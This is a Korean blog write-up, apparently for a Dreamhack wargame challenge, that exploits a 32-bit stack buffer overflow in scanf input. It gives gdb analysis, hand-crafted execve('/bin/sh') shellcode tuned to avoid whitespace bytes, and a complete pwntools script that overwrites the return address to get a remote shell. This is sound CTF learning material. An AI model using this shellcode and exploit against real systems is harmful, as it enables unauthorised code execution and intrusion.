풀이
검색을 해보니
메모리 보호 기법에 관한 내용인데
아무런 보호 기법도
적용되고 있지 않다는
사실을 알 수 있다.
이 사실을 바탕으로
소스 코드를 분석해 보자
main 함수 내부를 보면
buf의 크기는 0x80(128 바이트)이지만
scanf 함수를 통해서
141 바이트까지 입력을 받기 때문에
버퍼 오버플로우(BOF)가
발생할 수 있다는 것을 알 수 있다.
gdb를 이용해
어셈블리어를 분석해 보자
main 함수에 bp를 걸고 진행
main+3과 main+11 부분을 통해
lea로 buf 배열의 주소(ebp-0x80)를 가져와
ebp에 저장하하는 것을 알 수 있고
이를 통해
사용자의 입력이
ebp-0x80부터 저장되는 것을 알 수 있고
또한,
32bit 바이너리의 경우
buffer + SFP(4 바이트) + ret의 형태로 구성되기 때문에
ret 까지의 거리를 알 수 있다.
( (ebp-0x80)+4byte )
결과적으로
buf(0x80) + SFP(4byte)를
shell code + 쓰레기 값으로 채운 후
ret 부분을 buf 주소로 조작해
eip가 buf를 가르키게 하고
shell code를 실행해 shell을 얻으면 된다.
shell code를 작성하 기전
몇 가지 주의해야 할 사항이 있다.
- 32bit는 64bit와 달리 인자 전달 시 ebx, ecx, edx에 각각 1, 2, 3번째 인자를 넣는다.
- 64bit는 rdi, rsi, rdx, rcx, r8, r9순으로 인자를 각각 넣는다.
- scnaf 함수는 공백 문자(띄어쓰기 한 칸, 개행 문자, 탭 문자 등)를 만나면 입력을 종료한다.
- 32비트 execve 시스템 콜은 eax에 0xb를 넣어야 한다.
shell code를 작성하기 전
메모리 구조를 한 번 더 확인해 보자
main+51 (ret)에 bp를 걸고
"A" 136개를 전송한 후
ret에 bp가 걸리면
esp를 확인해 본다.
예상대로
0x41414141 = "AAAA"가 출려된다.
이렇게 메모리를 조작해 주면 된다.
shell code
x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x31\xc9\x31\xd2\xb0\x08\xfe\xc0\xfe\xc0\xfe\xc0\xcd\x80
from pwn import *
r = remote("host2.dreamhack.games", 14759)
r.recvuntil(b"buf = (")
buf_addr = int(r.recv(10), 16)
payload = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x31\xc9\x31\xd2\xb0\x08\xfe\xc0\xfe\xc0\xfe\xc0\xcd\x80"
payload += b"\x80"*101
payload += p32(buf_addr)
r.send(payload)
r.interactive()
shell code를 짜면서
레지스터 별 차이를
한 번더 공부할 수 있었다.
- 8bit register: AH, AL => H(High), L(Low) 접미사가 붙는다.
- 16bit register: AX => AH와 AL이 합쳐졌다.
- 32bit register: EAX => AX가 확장되어 E(Extend) 접두사가 붙었다.
- 64bit register: RAX => 접두사 E가 R로 변경되었다.
중요한 점은
위 레지스터를 이용할 때이다.
만약 EAX에
단순히 0x8 (1byte)를 넣으면
나머지 3byte는 0x00으로 채워진다.
위 shell code를 짤 때
execve의 syscall number인 0xb를
EAX에 넣는 게 아니라
AL을 통해 넣어줘야 한다.
결과적으로,
scanf 함수는
공백 문자(띄어쓰기 한 칸, 개행 문자, 탭 문자 등)를 만나면
입력을 종료하기 때문에
0xb가 아닌 0x8에
세 번의 inc를 통해 0xb를 만들어주고
EAX가 아닌 AL을 이용했다.
'Wargame - 시스템' 카테고리의 다른 글
basic_rop_x64 (0) | 2023.05.24 |
---|---|
ssp_001 (0) | 2023.05.06 |
Return to Shellcode (0) | 2023.05.03 |
basic_exploitation_001 (0) | 2023.04.04 |
shell_basic (0) | 2023.03.23 |